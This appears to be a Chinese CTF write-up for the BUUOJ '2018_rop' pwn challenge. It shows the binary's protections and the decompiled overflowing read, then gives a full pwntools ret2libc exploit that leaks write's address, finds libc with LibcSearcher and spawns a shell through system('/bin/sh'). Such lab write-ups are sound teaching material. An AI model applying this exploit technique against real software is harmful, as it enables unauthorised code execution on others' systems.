# 题源

https://buuoj.cn/challenges# 铁人三项 (第五赛区)_2018_rop

# 题解

# 文件保护

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

可见没有 PIE(可以直接从程序获取函数)、没有 canary(便于栈溢出)

# 反编译

a

程序非常简单, be_nice_to_people 是无关函数,然后 vulnerable_function 函数内容如下:

ssize_t vulnerable_function()
{
  char buf; // [esp+10h] [ebp-88h]
  return read(0, &buf, 0x100u);
}

# 攻击面

可见是非常经典的栈溢出问题了

  • 0x88+4=0x8c,离 0x100 差 20 字节,正好允许 5 个 p32 的填充
  • 程序非常轻量,可以考虑泄露 libc,从 libc 中拿到 system 和 binsh
  • 攻击思路就是首先 write 出 write 的地址,然后根据地址可以获取 libc 版本信息、libc 加载地址信息,然后可以根据基地址 + 偏移地址的形式拿到各种需要的东西
  • 攻击需要获取 libc 地址,所以第一次 payload 的时候不仅要泄露地址,还需要再重新返回 main 或者 vulnerable_function

# exp

from pwn import *
from pwn import p32,u32
from LibcSearcher import *
filename = './2018_rop'
io = remote('node4.buuoj.cn',26481)
pro = ELF(filename)
write_plt = pro.plt['write']
write_got = pro.got['write']
vul = pro.symbols['vulnerable_function']
payload = b'A' * (0x88 + 4) + p32(write_plt) + p32(vul) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload)
write_addr = u32(io.recv())
libc = LibcSearcher('write',write_addr)
system_offset = libc.dump('system')
binsh_offset = libc.dump('str_bin_sh')
write_offset = libc.dump('write')
libc_base = write_addr - write_offset
system_func = libc_base + system_offset
binsh = libc_base + binsh_offset
payload = b'A' * (0x88 + 4) + p32(system_func) + p32(vul) + p32(binsh)
io.sendline(payload)
io.interactive()

# 总结

一道非常基础的栈溢出,这里采取的方法是使用 LibcSearcher 来搜索一下对应的 libc 版本。一开始做的时候总是报错,后来仔细一看,计算库的基地址的时候用的是 & 0xfffff000…… 好家伙下意识写成堆的基地址了 hhh

根据第 12 位来获取 libc 版本,也可以用在线网页版

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

c01dkit 微信支付

微信支付

c01dkit 支付宝

支付宝

c01dkit qqpay

qqpay